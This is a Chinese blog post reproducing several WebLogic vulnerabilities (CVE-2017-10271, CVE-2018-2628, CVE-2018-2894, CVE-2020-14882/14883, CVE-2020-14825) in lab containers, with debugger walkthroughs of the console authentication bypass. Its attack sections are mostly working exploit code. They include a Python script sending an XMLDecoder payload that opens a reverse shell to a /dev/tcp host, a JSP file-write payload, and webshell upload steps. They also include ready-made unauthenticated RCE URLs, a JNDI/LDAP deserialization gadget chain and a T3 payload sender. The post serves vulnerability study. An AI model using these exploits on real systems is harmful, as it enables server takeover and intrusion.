follow my dream

WebLogic 漏洞复现

字数统计: 6.4k阅读时长: 31 min
2021/03/14 Share

[toc]

Weblogic 漏洞复现

环境无特殊说明都是vulhub上的环境,复现内容也多为vulhub上的。

参考文章

WebLogic 安全研究报告 (seebug.org)

weblogic漏洞复现合集

Java 漏洞分析之远程调试方法总结

CVE-2020-14882&14883:Weblogic RCE复现

CVE-2020-14825:Weblogic反序列化漏洞复现

Weblogic漏洞——从入门到放弃 - FreeBuf网络安全行业门户

CVE-2020-14882\CVE-2020-14883漏洞分析 - 安全客,安全资讯平台 (anquanke.com)

CVE-2020-14882:Weblogic Console 权限绕过深入解析 - 安全客,安全资讯平台 (anquanke.com)

Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞(CVE-2017-10271)

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

原理分析

CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞,主要由wls-wsat.war触发该漏洞,触发漏洞url如下: http://192.168.xx.xx:7001/wls-wsat/CoordinatorPortType post数据包,通过构造构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。

详细见Weblogic XMLDecoder RCE分析

漏洞复现

判断

访问http://localhost:7001/wls-wsat/CoordinatorPortType11,查看是否存在以下界面:

image-20210220154911797

反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import HackRequests

hack = HackRequests.hackRequests()

raw = '''
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/172.25.204.194/2333 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''

hh =hack.httpraw(raw)
print(hh.text)

image-20210220155926942

写入文件 (访问:http://127.0.0.1:7001/bea_wls_internal/test.jsp)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import HackRequests

hack = HackRequests.hackRequests()

raw = '''
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''

hh =hack.httpraw(raw)
print(hh.text)

CVE-2018-2628 Weblogic反序列化

from vulhub

原理分析

CVE-2018-2628 Weblogic反序列化漏洞分析

漏洞复现

首先下载ysoserial,并启动一个JRMP Server:

1
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 8848 CommonsCollections1 "touch /tmp/fe1w0"

其中,[command]即为我想执行的命令,而[listen port]是JRMP Server监听的端口。

然后,使用exploit.py脚本,向目标Weblogic(http://your-ip:7001)发送数据包:

1
python exp.py 192.168.1.5 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.1.5 8848 JRMPClient2

其中,[victim ip][victim port]是目标weblogic的IP和端口,[path to ysoserial]是本地ysoserial的路径,[JRMPListener ip][JRMPListener port]第一步中启动JRMP Server的IP地址和端口。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClientJRMPClient2

image-20210221142227904

很魔幻的是,并不能执行反弹和执行创建文件这些命令,不知道为什么。

Weblogic 任意文件上传漏洞(CVE-2018-2894)

漏洞分析与环境

WebLogic任意文件上传漏洞复现与分析 -【CVE-2018-2894 】

漏洞复现

执行docker-compose logs | grep password可查看管理员密码,管理员用户名为weblogic,密码为Cvo7X5BM

image-20210221144350761

登录后台页面http://your-ip:7001/console ,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项:

访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的。

然后点击安全 -> 增加,然后上传webshell:

image-20210221162716630

上传后,查看返回的数据包,其中有时间戳:

image-20210221162750556

然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],如http://localhost:7001/ws_utc/css/config/keystore/1613896058991_webshell.jsp

链接哥斯拉:

image-20210221163249736

CVE-2020-14882 weblogic 未授权命令执行复现

Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中,Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞,分别是CVE-2020-14882和CVE-2020-14883。

CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

影响版本

weblogic 10.3.6.0.0

weblogic 12.1.3.0.0

weblogic 12.2.1.3.0

weblogic 12.2.1.4.0

weblogic 14.1.1.0.0

漏洞复现

首先测试权限绕过漏洞(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面:

1
http://localhost:7001/console/css/%252e%252e%252fconsole.portal

访问后台后,可以发现我们现在是低权限的用户,无法安装应用,所以也无法直接执行任意代码:

此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令:

1
http://localhost:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/fe1w0');")

进入容器,可以发现touch /tmp/fe1w0已成功执行:

image-20210221170254460

这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。

首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如http://192.168.1.5:80000/rce.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/rce]]></value>
</list>
</constructor-arg>
</bean>
</beans>
1
python -m http.server 

然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:

1
http://localhost:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.1.5:8000/rce.xml")

image-20210221170739795

这个利用方法也有自己的缺点,就是需要Weblogic的服务器能够访问到恶意XML。

漏洞分析

参考学习于:

CVE-2020-14882&14883:Weblogic RCE复现 - SecPulse.COM | 安全脉搏

CVE-2020-14882\CVE-2020-14883漏洞分析 - 安全客,安全资讯平台 (anquanke.com)

CVE-2020-14882:Weblogic Console 权限绕过深入解析 - 安全客,安全资讯平台 (anquanke.com)

调试Debug环境搭建

首先修改docker-compose.yml,添加远程debug端口

1
2
3
4
5
6
7
version: '2'
services:
weblogic:
image: vulhub/weblogic:12.2.1.3-2018
ports:
- "7001:7001"
- "8055:8055"

再重新创建docker-compose up -d

之后进入docker容器内部修改/u01/oracle/user_projects/domains/base_domain/bin/setDomainEnv.sh,采用复制的方法

修改为如下(需要重启):

1
2
3
4
5
6
7
8
9
10
JAVA_PROPERTIES="${JAVA_PROPERTIES} ${CLUSTER_PROPERTIES}"
export JAVA_PROPERTIES

JAVA_DEBUG=""
export JAVA_DEBUG

local_debug="true"
export local_debug
debugFlag="true"
DEBUG_PORT="8055"

修改IDEA配置,如图

image-20210221173718309

如下图,说明链接成功

image-20210221174008347

同时我们还需要将docker中的源码复制出来:

1
2
sudo docker cp 3eda3:/u01/oracle/ ./ # 复制weblogic全部源码
mkdir dep && cp `find ./* -name "*.jar"` ./dep #将jar包全部集中复制到一起

最后将dep文件夹右击添加为库,此时dep中的所有jar包都可以展开和打断点了。

image-20210221175156631

这里有一个坑点,在整个项目中会有两console.jar一个是webapp中的(这是我们要debug的),另一个是consolehelp中的,而上面的cp操作的可能是复制了consolehelp,若是没有注意,下面就没法做。

RCE部分

调试该部分由于没有加绕过,所以请在登录到后台之后进行

payload:

1
http://127.0.0.1:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=java.lang.String("yahaha")

记得对里面的特殊字符进行URL编码

根据越南兄弟的补丁对比,第一处修改有:

1
/dep/console.jar!/com/bea/console/handles/HandleFactory.class

image-20210221184043014

​ 补丁在debug区内,只允许handleClass参数进来

如果没修改的情况,可以发现这里可以任意指定类,并获得其以字符串为参数的构造函数,然后进行初始化。

如下示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package com.fe1w0.weblogic;



import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;



/**
* @description 此部分用于测试HandleFactory代码中的classLoader
* @Author fe1w0
*/

public class test {
static public void main(String args[]){
try{
// 获取Runtime类对象
Class runtimeClass1 = Class.forName("java.lang.Runtime");

// 获取构造方法
Constructor constructor = runtimeClass1.getDeclaredConstructor();
constructor.setAccessible(true);

// 创建Runtime类示例,等价于 Runtime rt = new Runtime();
Object runtimeInstance = constructor.newInstance();

// 获取Runtime的exec(String cmd)方法
Method runtimeMethod = runtimeClass1.getMethod("exec", String.class);

String cmd = "calc";
// 调用exec方法,等价于 rt.exec(cmd);
Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd);
}catch (Exception e){
e.printStackTrace();
}
}
}

args被输入数据完全控制,但无论如何只会获得一个值:

image-20210221184543588

由此我们可以推断出,通过url传入的参数handle我们可以获得具有string作为构造函数的类。

ShellSession利用

com.tangosol.coherence.mvel2.sh.ShellSession就是大佬们找到的类,我们先看看这个类:

com.tangosol.coherence.mvel2.sh.ShellSession就是大佬们找到的类,我们先看看这个类:

1
/dep/coherence-rest.jar!/com/tangosol/coherence/mvel2/sh/ShellSession.class

这里尝试使用payload:

1
http://127.0.0.1:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime('ls');");

image-20210221185602343

34进行步入,然后就可以发现后面很秀

image-20210221185646968

接着步入

image-20210221185737241

之后的this._exec()会解析命令并执行

com/tangosol/coherence/mvel2/sh/ShellSession.class天秀

未授权访问url部分

找到未授权的路由

我们注意到POC前面但组成部分其实还含有路径穿越问题,即这段/console/images/%252E%252E%252F,之所以会这样构造是因为存在二次URL编码绕过问题,但这种直接把写黑名单的方式,并不是很好的修复方式。

传送门:

https://twitter.com/chybeta/status/1322131143034957826/photo/2

这里对路径穿越几个关键字符及其URL编码加以限制,那几个URL解出来%.%.,..,<,>,基本属于不带..玩了,我们马上来看看,为什么要禁止这几个字符吧:

首先是weblogic的校验函数:

1
/dep/com.oracle.weblogic.servlet.jar!/weblogic/servlet/security/internal/WebAppSecurity.class.checkAccess

image-20210221192500360

该函数会校验请求的路由是否经过校验,这个校验的标志由getConstraint函数提供,打上断点之后F7来到了

1
/dep/com.oracle.weblogic.servlet.jar!/weblogic/servlet/security/internal/WebAppSecurityWLS.class

测试命令:

1
curl http://127.0.0.1:7001/console/console.portal

评估,表达式为this.getConstraint(getRelativeURI(req), req.getMethod())

image-20210221193402704

下图为命令为curl http://localhost:7001/console/css/%252e%252e%252fconsole.portal

image-20210221193558136

我们可以看看这个函数具体是什么情况:

这里会返回一个类StandardURLMapping,从参数名来看一个是对所有方法响应的路由,一个是对某个方法响应的路由:

image-20210221194538407

看看StandardURLMapping类:

image-20210221195101670

从函数名来看,这里应该是直接忽略的URL列表

对比得到的matchMap,我们的console.protal是不在这个列表里面的:

image-20210221195133850

后面我们会进入else分支,这里会校验是否有用户session,由于我们没登录自然得到了null,随后这个session又会被拿去鉴权,自然也是无法通过的。

image-20210221195922807

我们可以去访问一下/css目录比较一下:

1
curl http://127.0.0.1:7001/console/css/

此处对应的校验id为/css/*,与console.protal唯一的不同便是unrestricted=true,curl命令的结果为404

这里404是因为没有设置默认的界面,但总之我们成功访问到了:

image-20210221200029719

分析路由设置,

到这边,我思路一开始没有跟不上师傅的分析🤦‍♂️ :(

幸运的是,后来看到另外两篇对14882中路由的分析.

CVE-2020-14882\CVE-2020-14883漏洞分析 - 安全客,安全资讯平台 (anquanke.com)

CVE-2020-14882:Weblogic Console 权限绕过深入解析 - 安全客,安全资讯平台 (anquanke.com)

weblogic和其他JavaWeb应用类似,它有web.xml,我们知道web.xml里面配置了servlet信息,去看看:

1
docker cp 0ec70f688dec:/u01/oracle/wlserver/server/lib/consoleapp/webapp/WEB-INF/web.xml ./

其中这两处信息最重要:

image-20210221201503765

这里告诉我们*.protal后缀但内容会被AppManagerServlet处理,而之前我们看到的matchMap中的内容(路径,如/css),则被定义成资源,没有配备对应的servlet

image-20210221201605281

servlet对应关系部分如下:

1
2
3
4
5
/framework/skeletons/wlsconsole/js/* -> FileDefault
/css/* -> AsyncInitServlet
/images/* -> AsyncInitServlet
/common/* -> JSPCServlet
...

所以我猜测挖洞的大佬这时候就开始考虑,如果我在不鉴权的目录下,访问只有servlet能处理的文件会怎样,根据web.xml中的内容找到对应servlet--/dep/com.oracle.weblogic.servlet.jar!/weblogic/servlet/AsyncInitServlet.class

打上断点,利用

1
curl http://127.0.0.1:7001/console/css/console.portal

结果为:

image-20210221202819073

于是,请求/css/*会调用AsyncInitServletservice方法

image-20210222091951173

然后这里如果直接加上payload是不会触发handle的断点:

1
curl "http://127.0.0.1:7001/console/css/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/testok%27);%22);"

但使用能执行的payload时,确实是由这个servlet处理的:

image-20210222092204163要想办法在/css目录,就触发handle,从而实现未授权RCE,而这里就需要目录穿越。

触发handle

漏洞爆出之后我们知道了,其实触发handle的方法就是对../进行url双重编码。

具体分析可以看原文,或CVE-2020-14882:Weblogic Console 权限绕过深入解析 - 安全客,安全资讯平台 (anquanke.com)

一次url编码肯定是正常的 ,这是每个中间件都会做的事情,那我们顺着这条调用栈继续往下跟进,这段代码位于UIServletInternal.getTree处,在这里应用对已经进行了一次url编码的URI进行了第二次url编码,测试 curl "http://localhost:7001/console/css/%252e%252e%252fconsole.portal"

dep\netuix_servlet.jar!\com\bea\netuix\servlets\manager\UIServletInternal.class

发现一开始传入为

image-20210222094917037

requestPattern = URLDecoder.decode(requestPattern, containerServices.getWebappServices().getServerDefaultEncoding());处理后

image-20210222095023846

由于在后续的一系列操作中weblogic并没有在对路径穿越进行防范,从而可以触发handle

CVE-2020-14825 Weblogic反序列化漏洞复现

Oracle官方在2020年10月份发布的最新安全补丁中修复了许多安全漏洞,其中黑名单类oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor可造成反序列化漏洞。该漏洞允许未经身份验证的攻击者通过IIOP,T3进行网络访问,未经身份验证的攻击者成功利用此漏洞可能接管Oracle Weblogic Server。

影响版本

Oracle WebLogic Server 12.2.1.3.0

Oracle WebLogic Server 12.2.1.4.0

Oracle WebLogic Server 14.1.1.0.0

环境搭建与漏洞复现

环境搭建

Weblogic下载链接:

https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

选择 12.2.1.4 的 Generic 版本进行下载安装即可,安装过程注意JDK版本造成的安装失败(建议JDK 1.8)以及以管理员权限运行安装包。此外,安装过程中,为方便后续其他漏洞利用,安装类型可选择“含示例的完整安装”。

我是安装CVE-2020-14645:Weblogic远程代码执行复现 (qq.com)这篇进行安装 的

安装完之后,直接运行安装目录下的启动脚本即可,路径如下:

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\startWebLogic.cmd

image-20210222102733484

启动脚本后,浏览器访问

http://127.0.0.1:7001/console

image-20210222102848786

漏洞复现

1、编译poc文件并通过python部署在http服务器,poc文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Exp {
// POC open calc
public Exp(){
try{
Runtime.getRuntime().exec("calc.exe");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] args){
Exp e = new Exp();
}
}

将编译产生的 class 文件部署在 python 起的 http 服务器

1
python -m http.server 80

2、启动 ldap 服务链接到 poc 文件

1
$java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exp 1389

3、运行 payload 文件生成反序列化数据文件,通过t3协议传输

payload 文件见:

https://github.com/rufherg/WebLogic_Basic_Poc/blob/master/poc/CVE_2020_14825.java

注意 这些包需要自己下载配置,其中oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractororg.eclipse.persistence.internal.descriptors.MethodAttributeAccessor简直一口吐血

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import ysoserial.payloads.util.Reflections;


import java.io.*;
import java.util.PriorityQueue;

public class CVE_2020_14825 {
public static void main(String[] args) throws Exception {
MethodAttributeAccessor accessor = new MethodAttributeAccessor();
accessor.setAttributeName("Timeline Sec");
accessor.setIsWriteOnly(true);
accessor.setGetMethodName("getDatabaseMetaData");
// accessor.setGetMethodName("connect");

LockVersionExtractor extractor = new LockVersionExtractor(accessor,"");

JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(com.sun.rowset.JdbcRowSetImpl.class);
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/#Exp");

PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(extractor));
Reflections.setFieldValue(queue,"size",2);

Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
queueArray[0] = jdbcRowSet;

ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(new File("cve_2020_14825.ser")));
out.writeObject(queue);
out.flush();
out.close();
// readObject();
}

public static void readObject() {
FileInputStream fis = null;
try {
fis = new FileInputStream(new File("").getAbsolutePath() + "/cve_2020_14825.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}

oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractororg.eclipse.persistence.internal.descriptors.MethodAttributeAccessor的jar…找了一个上午,就是没找到,后来在Download dependencies for java class oracle.eclipselink (jar-download.com)

image-20210222123539694

下载这个并添加就行

深深的怨念,为什么官网没有,google也无果

python T3 脚本见:

https://github.com/rufherg/WebLogic_Basic_Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import socket
import sys
import struct
import argparse

class WebLogic():

def __init__(self, url, port, ser_file):
self.ip = url
self.port = port
self.sock = self.get_sock(self.ip, self.port)
self.ser_payload = open(ser_file,'rb').read()

@staticmethod
def get_sock(ip, port):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (ip, port)
sock.connect(server_address)
print("[INFO]: connecting to %s port %s" % server_address)
except Exception as e:
print("[ERROR]: " + str(e))

return sock

def t3_hand(self):
handshake = b't3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n'
print("[INFO]: sending handshake packet ...")
print("[INFO]: <<< Packet Content >>>")
print(handshake.decode())
print("[INFO]: <<< Packet Content >>>")
self.sock.sendall(handshake)

data = self.sock.recv(1024)
print("[INFO]: received handshake data")
print("[INFO]: <<< Packet Content >>>")
print(data.decode())
print("[INFO]: <<< Packet Content >>>")

def choose(self):
payload_1 = b'\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
payload_2 = b'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'

return payload_1, payload_2

def poc(self):
try:
self.t3_hand()
payload_1, payload_2 = self.choose()
payload = payload_1 + self.ser_payload + payload_2
payload = struct.pack("!i", len(payload)) + payload[4:]
print("[INFO]: Sending payload ...")
self.sock.send(payload)
except Exception as e:
print("[ERROR]: " + str(e))

if __name__ =="__main__":
if len(sys.argv) == 1:
sys.argv.append('-h')

